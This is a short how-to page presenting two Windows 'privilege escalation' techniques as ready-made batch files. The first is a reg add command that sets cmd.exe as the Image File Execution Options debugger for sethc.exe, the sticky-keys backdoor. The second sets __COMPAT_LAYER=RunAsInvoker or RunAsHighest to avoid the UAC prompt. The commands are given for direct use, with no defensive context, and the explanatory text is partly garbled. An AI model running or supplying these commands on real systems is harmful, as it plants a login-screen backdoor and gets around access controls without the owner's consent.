

PRIVILEGE ESCALATION USING (IMAGE FILE EXECUTION OPTION)



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PRIVILEGE ESCALATION USING IMAGE FILE EXECUTION OPTION GUIDELINES

IMAGE FILE EXECUTION OPTIONS INJECTION

Image file execution options allows a user to attach a debugger to an application when a process is created, a debugger present in an application's IEFO will be appeared to the application's name.

Here we will be using IEFO through registry editing, IEFO can also enable an arbitrary monitor program to be launched when a specified program silently exits. Silent exit monitoring can be enabled through Gflags and can be modified through registry value i.e.

Open Notepad:

Type the following syntax

```
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t REG_SZ /d "C:\Windows\System32\cmd.exe"
```

Save the file as `anyname.bat` (by selecting Save as type to ALL FILES)

REQUIRED PLATFORM: WINDOWS



SBL.bat

PERMISSION REQUIRED: ADMINISTRATOR

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PRIVILEGE ESCLATION USING RUNASINVOKER GUIDELINES

RUN AS INVOKER VARIABLE

Run as Invoker is *a system environment variable* which allows an attacker to prevent UAC (User Account Control) Prompt window. It executes the application directly, this script can execute standalone application. Those application which requires pre-requisite drivers, services, application then this method will not be helpful in this case.

Open Notepad:

Type the following syntax

```
set __COMPAT_LAYER=RunAsInvoker  
start ApplicationName.exe
```

Note: Before COMPAT it double underscore __ and after COMPAT its single underscore _. Another important understanding of the above script is it should be placed on the same folder where Application.exe exists.

Another Command:

```
set __COMPAT_LAYER=RunAsHighest  
start ApplicationName.exe
```

REQUIRED PLATFORM: WINDOWS



Run as Invoker.cmd

PERMISSION REQUIRED: USER LEVEL

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